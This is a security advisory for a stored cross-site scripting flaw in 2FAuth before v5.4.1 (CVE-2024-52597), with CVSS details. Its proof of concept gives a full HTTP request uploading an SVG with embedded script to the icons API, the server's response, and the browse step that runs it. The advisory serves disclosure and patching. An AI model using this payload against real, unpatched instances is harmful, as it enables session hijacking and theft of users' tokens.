Skip to content

Stored XSS via SVG upload and direct access render

Moderate
Bubka published GHSA-q5p4-6q4v-gqg3 Nov 20, 2024

Package

2FAuth

Affected versions

< v5.4.1

Patched versions

v5.4.1

Description

Details

A vulnerability was discovered an stored XSS in 2fauth due to improper headers in direct access to uploaded SVGs.

The application allows uploading images in several places. One of the accepted types of image is SVG, which allows JS scripting.

Therefore, by uploading a malicious SVG which contains JS code, an attacker which is able to drive a victim to the uploaded image could compromise that victim's session and access to their tokens.

PoC

  • Upload an SVG using the icons API:
POST /api/v1/icons HTTP/2
Host: demo.2fauth.app
Cookie: <valid cookie>
X-Xsrf-Token: <valid token>
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymyFZAB8YNf9FUEq8
Origin: https://demo.2fauth.app
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.2fauth.app/account/create
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

------WebKitFormBoundarymyFZAB8YNf9FUEq8
Content-Disposition: form-data; name="icon"; filename="xss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink">
  <script>
    alert("XSS");
  </script>
</svg>

------WebKitFormBoundarymyFZAB8YNf9FUEq8--
  • Get the stored URL from the response:
HTTP/2 201 Created
Date: Tue, 12 Nov 2024 09:17:38 GMT
Content-Type: application/json
Server: Apache
X-Powered-By: PHP/8.2
Cache-Control: no-cache, private
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 52
Access-Control-Allow-Origin: *

{"filename":"gZsebv83cEApO2qVT3z35qKFBNljNU8nWIr1dt4g.svg"}
  • Browse to the URL

Impact

Session Hijacking: Attackers can steal session cookies, allowing them to impersonate legitimate users.
Data Theft: Access to sensitive information such as personal data, credentials, or financial details.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID

CVE-2024-52597

Weaknesses

Credits